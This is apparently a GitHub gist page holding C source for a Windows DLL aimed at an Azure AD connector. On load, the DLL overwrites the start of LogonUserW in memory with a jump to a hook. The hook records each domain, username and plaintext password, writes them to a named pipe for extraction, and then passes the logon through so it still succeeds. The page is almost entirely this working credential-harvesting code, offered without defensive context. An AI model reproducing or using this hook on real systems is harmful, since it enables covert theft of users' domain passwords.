-
-
Save xpn/79a7f966b9dffd0ccf3505787f8060d7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <stdio.h> | |
// Simple ASM trampoline | |
// mov r11, 0x4142434445464748 | |
// jmp r11 | |
unsigned char trampoline[] = { 0x49, 0xbb, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x41, 0xff, 0xe3 }; | |
BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken); | |
HANDLE pipeHandle = INVALID_HANDLE_VALUE; | |
void Start(void) { | |
DWORD oldProtect; | |
// Connect to our pipe which will be used to pass credentials out of the connector | |
while (pipeHandle == INVALID_HANDLE_VALUE) { | |
pipeHandle = CreateFileA("\\\\.\\pipe\\azureadpipe", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); | |
Sleep(500); | |
} | |
void *LogonUserWAddr = GetProcAddress(LoadLibraryA("advapi32.dll"), "LogonUserW"); | |
if (LogonUserWAddr == NULL) { | |
// Should never happen, but just incase | |
return; | |
} | |
// Update page protection so we can inject our trampoline | |
VirtualProtect(LogonUserWAddr, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect); | |
// Add our JMP addr for our hook | |
*(void **)(trampoline + 2) = &LogonUserWHook; | |
// Copy over our trampoline | |
memcpy(LogonUserWAddr, trampoline, sizeof(trampoline)); | |
// Restore previous page protection so Dom doesn't shout | |
VirtualProtect(LogonUserWAddr, 0x1000, oldProtect, &oldProtect); | |
} | |
// The hook we trampoline into from the beginning of LogonUserW | |
// Will invoke LogonUserExW when complete, or return a status ourselves | |
BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) { | |
PSID logonSID; | |
void *profileBuffer = (void *)0; | |
DWORD profileLength; | |
QUOTA_LIMITS quota; | |
bool ret; | |
WCHAR pipeBuffer[1024]; | |
DWORD bytesWritten; | |
swprintf_s(pipeBuffer, sizeof(pipeBuffer) / 2, L"%s\\%s - %s", domain, username, password); | |
WriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), &bytesWritten, NULL); | |
// Forward request to LogonUserExW and return result | |
ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, "a); | |
return ret; | |
} | |
BOOL APIENTRY DllMain( HMODULE hModule, | |
DWORD ul_reason_for_call, | |
LPVOID lpReserved | |
) | |
{ | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
Start(); | |
case DLL_THREAD_ATTACH: | |
case DLL_THREAD_DETACH: | |
case DLL_PROCESS_DETACH: | |
break; | |
} | |
return TRUE; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment